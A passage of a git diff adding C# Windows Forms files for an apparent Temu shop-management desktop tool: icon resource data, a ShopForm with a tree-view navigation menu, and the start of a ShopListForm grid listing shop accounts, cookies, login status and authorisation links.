////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/ShopForm.Designer.cs new file mode 100644 index 0000000..e03a002 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopForm.Designer.cs @@ -0,0 +1,182 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class ShopForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode1 = new System.Windows.Forms.TreeNode("店铺列表"); + System.Windows.Forms.TreeNode treeNode2 = new System.Windows.Forms.TreeNode("用户管理"); + System.Windows.Forms.TreeNode treeNode3 = new System.Windows.Forms.TreeNode("运费模板"); + System.Windows.Forms.TreeNode treeNode4 = new System.Windows.Forms.TreeNode("高级运费模板"); + System.Windows.Forms.TreeNode treeNode5 = new System.Windows.Forms.TreeNode("素材库管理"); + System.Windows.Forms.TreeNode treeNode6 = new System.Windows.Forms.TreeNode("店铺管理", new System.Windows.Forms.TreeNode[] { + treeNode1, + treeNode2, + treeNode3, + treeNode4, + treeNode5}); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(792, 461); + this.panel1.TabIndex = 2; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(792, 433); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(792, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(57, 17); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(933, 461); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 3; + // + // tv + // + this.tv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode1.Name = "店铺列表"; + treeNode1.Text = "店铺列表"; + treeNode2.Name = "用户管理"; + treeNode2.Text = "用户管理"; + treeNode3.Name = "运费模板"; + treeNode3.Text = "运费模板"; + treeNode4.Name = "高级运费模板"; + treeNode4.Text = "高级运费模板"; + treeNode5.Name = "素材库管理"; + treeNode5.Text = "素材库管理"; + treeNode6.Name = "店铺管理"; + treeNode6.Text = "店铺管理"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode6}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 461); + this.tv.TabIndex = 1; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // ShopForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(933, 461); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "ShopForm"; + this.Text = "ShopForm"; + this.Load += new System.EventHandler(this.ShopForm_Load); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private UserComponent.UcTreeView tv; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopForm.cs b/TEMUKJD/KJDForms/ShopForms/ShopForm.cs new file mode 100644 index 0000000..ccc4603 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopForm.cs @@ -0,0 +1,145 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class ShopForm : Form + { + public Lazy shopListForm = new Lazy(); + public Lazy sbuAccountForm = new Lazy(); + public Lazy freightForm = new Lazy(); + public Lazy freightTemplateForm = new Lazy(); + public Lazy materialManageForm = new Lazy(); + + public ShopForm() + { + InitializeComponent(); + + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + + List hideName = new List() { "高级运费模板", "运费模板", "素材库管理" }; + + foreach (var item in hideName) + { + var n = tv.Nodes[0].Nodes.Find(item, true); + if (n.Count() > 0) + n[0].Remove(); + } + } + catch { } + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + // 如果是一级菜单,不做任何动作 + if (e.Node.Parent == null) return; + new Thread(() => + { + Thread.Sleep(200); + Invoke(new Action(() => + { + switch (e.Node.Name) + { + case "店铺列表": + SetForm(shopListForm.Value); + break; + case "用户管理": + SetForm(sbuAccountForm.Value); + break; + case "运费模板": + SetForm(freightForm.Value); + break; + case "高级运费模板": + SetForm(freightTemplateForm.Value); + break; + case "素材库管理": + SetForm(materialManageForm.Value); + break; + } + })); + }).Start(); + } + + /// + /// 显示隐藏层 + /// + /// + private void SetForm(Form f) + { + if (f == null) + { + foreach (Control form in panel3.Controls) + { + form.Visible = false; + if (form is Form) + { + panel3.Controls.Remove(form as Form); + } + } + return; + } + + bool had = false; + string sCurrentFormName = f.Name; + for (int i = 0; i < panel3.Controls.Count; i++) + { + if (sCurrentFormName == panel3.Controls[i].Name) + { + had = true; + panel3.Controls[i].Visible = true; + } + else + { + panel3.Controls[i].Visible = false; + } + } + if (had) + { + f = null; + return; + } + f.TopLevel = false; + f.Left = 0; + f.Top = 0; + f.FormBorderStyle = FormBorderStyle.None; + panel3.Controls.Add(f); + f.AutoSize = true; + f.Dock = DockStyle.Fill; + f.Show(); + } + + private void ShopForm_Load(object sender, EventArgs e) + { + try + { + var ns = tv.Nodes.Find("运费模板", true); + if (ns.Count() > 0) + { + //foreach (var n in ns) + //{ + // tv.Nodes.Remove(n); + //} + + if (AllBase.BaseClass.IsCloudBuyOrder) + this.tv.Nodes[0].Nodes.Insert(ns[0].Index + 1, new TreeNode() { Text = "高级运费模板", Name = "高级运费模板" }); + } + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + } + catch { } + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/ShopForm.resx b/TEMUKJD/KJDForms/ShopForms/ShopForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopListForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/ShopListForm.Designer.cs new file mode 100644 index 0000000..649a8d9 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopListForm.Designer.cs @@ -0,0 +1,551 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class ShopListForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.label1 = new System.Windows.Forms.Label(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); + this.panel5 = new System.Windows.Forms.Panel(); + this.btnRefreshAuth = new LittleRabbit.UserControls.ButtonEx(); + this.btnLoginSelect = new LittleRabbit.UserControls.ButtonEx(); + this.btnCheck = new LittleRabbit.UserControls.ButtonEx(); + this.panel4 = new System.Windows.Forms.Panel(); + this.btnImport = new LittleRabbit.UserControls.ButtonEx(); + this.btnAddShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.pbLoading = new System.Windows.Forms.PictureBox(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.chkAutoDrag = new System.Windows.Forms.CheckBox(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colLoginName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopAccount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCookie = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colGroup = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colUploadAccount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colBuyAccount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colChatAccount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopOperate = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colRelogin = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colMultiLogin = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colApiAuth = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colBuyApiAuth = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colCopyCookies = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colEdit = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.tableLayoutPanel2.SuspendLayout(); + this.panel5.SuspendLayout(); + this.panel4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoading)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(13, 13); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(201, 17); + this.label1.TabIndex = 0; + this.label1.Text = "这里显示店铺列表 -- ShopListForm"; + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tableLayoutPanel2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Panel2.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer1.Size = new System.Drawing.Size(1063, 637); + this.splitContainer1.SplitterDistance = 46; + this.splitContainer1.TabIndex = 33; + // + // tableLayoutPanel2 + // + this.tableLayoutPanel2.ColumnCount = 2; + this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle()); + this.tableLayoutPanel2.Controls.Add(this.panel5, 1, 0); + this.tableLayoutPanel2.Controls.Add(this.panel4, 0, 0); + this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel2.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel2.Name = "tableLayoutPanel2"; + this.tableLayoutPanel2.RowCount = 1; + this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel2.Size = new System.Drawing.Size(1063, 46); + this.tableLayoutPanel2.TabIndex = 37; + // + // panel5 + // + this.panel5.Controls.Add(this.btnRefreshAuth); + this.panel5.Controls.Add(this.btnLoginSelect); + this.panel5.Controls.Add(this.btnCheck); + this.panel5.Location = new System.Drawing.Point(831, 3); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(229, 40); + this.panel5.TabIndex = 1; + // + // btnRefreshAuth + // + this.btnRefreshAuth.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshAuth.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshAuth.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshAuth.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshAuth.ForeColor = System.Drawing.Color.White; + this.btnRefreshAuth.Location = new System.Drawing.Point(15, 9); + this.btnRefreshAuth.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshAuth.Name = "btnRefreshAuth"; + this.btnRefreshAuth.Size = new System.Drawing.Size(66, 26); + this.btnRefreshAuth.TabIndex = 374; + this.btnRefreshAuth.Text = "刷新授权"; + this.btnRefreshAuth.UseVisualStyleBackColor = false; + this.btnRefreshAuth.Visible = false; + this.btnRefreshAuth.Click += new System.EventHandler(this.btnRefreshAuth_Click); + // + // btnLoginSelect + // + this.btnLoginSelect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginSelect.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginSelect.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnLoginSelect.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginSelect.ForeColor = System.Drawing.Color.White; + this.btnLoginSelect.Location = new System.Drawing.Point(155, 9); + this.btnLoginSelect.Margin = new System.Windows.Forms.Padding(2); + this.btnLoginSelect.Name = "btnLoginSelect"; + this.btnLoginSelect.Size = new System.Drawing.Size(66, 26); + this.btnLoginSelect.TabIndex = 373; + this.btnLoginSelect.Text = "登录选中"; + this.btnLoginSelect.UseVisualStyleBackColor = false; + this.btnLoginSelect.Click += new System.EventHandler(this.btnLoginSelect_Click); + // + // btnCheck + // + this.btnCheck.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCheck.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCheck.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCheck.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCheck.ForeColor = System.Drawing.Color.White; + 